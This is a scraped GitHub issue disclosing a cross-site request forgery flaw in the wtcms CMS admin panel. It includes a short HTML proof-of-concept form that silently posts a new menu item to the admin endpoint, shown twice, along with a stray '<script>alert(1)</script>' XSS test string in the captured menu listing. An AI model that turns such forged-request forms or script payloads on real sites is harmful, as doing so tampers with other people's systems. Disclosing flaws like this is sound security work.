

New issue

[Jump to bottom](#)

## There is one CSRF vulnerability that can add news #8

[Open](#) Ch3ng-sky opened this issue on Sep 4, 2019 · 0 comments

Ch3ng-sky commented on Sep 4, 2019

You can add articles in admin background, but there is a CSRF vulnerability.

Load URL

Split URL

Execute

http://localhost/cms/wtcms-master/admin/

☐ Enable Post data☐ Enable Referrer

后台管理

设置

用户管理

菜单管理

前台菜单

菜单管理

菜单分类

后台菜单

内容管理

扩展工具

用户管理

菜单管理

前台菜单

菜单管理

菜单分类

后台菜单

内容管理

扩展工具

修改信息

修改信息

网站信息

文件存储

本站用户

第三方

菜单管理

添加菜单

主菜单

排序

排序	ID	菜单名称
0	71	主页
1	72	新闻消息
0	79	— <script>alert(1)</script>

菜单管理

添加菜单

菜单分类

主菜单

父级

/

标签

链接

☐ http://

☐ 首页

打开方式

默认

图标

状态

显示

添加

返回

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="
http://localhost/cms/wtcms-master/index.php?g=admin&m=nav&a=add_post
method="POST">
<input type="hidden" name="cid" value="3" />
<input type="hidden" name="parentid" value="72" />
<input type="hidden" name="label" value="CSRF Test" />
<input type="hidden" name="nav" value="on" />
<input type="hidden" name="external&#95;href" value="
https#58;#47;#47;" />
<input type="hidden" name="target" value="" />
<input type="hidden" name="icon" value="" />
<input type="hidden" name="status" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```



主页 新闻消息 通知公告 最新动态 主页菜单4 主页菜单5 主页菜单6 主页菜单7 主页菜单8

<script>alert(1)</script>

CSRF Test

submenu1\_2

submenu1\_3

吸  
于  
发  
Ja

#### POC

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/cms/wtcms-master/index.php?g=admin&m=nav&a=add_post" method="POST">
<input type="hidden" name="cid" value="3" />
<input type="hidden" name="parentid" value="72" />
<input type="hidden" name="label" value="CSRF Test" />
<input type="hidden" name="nav" value="on" />
<input type="hidden" name="external&#95;href" value="http&#58;#47;#47;" />
<input type="hidden" name="target" value="" />
<input type="hidden" name="icon" value="" />
<input type="hidden" name="status" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

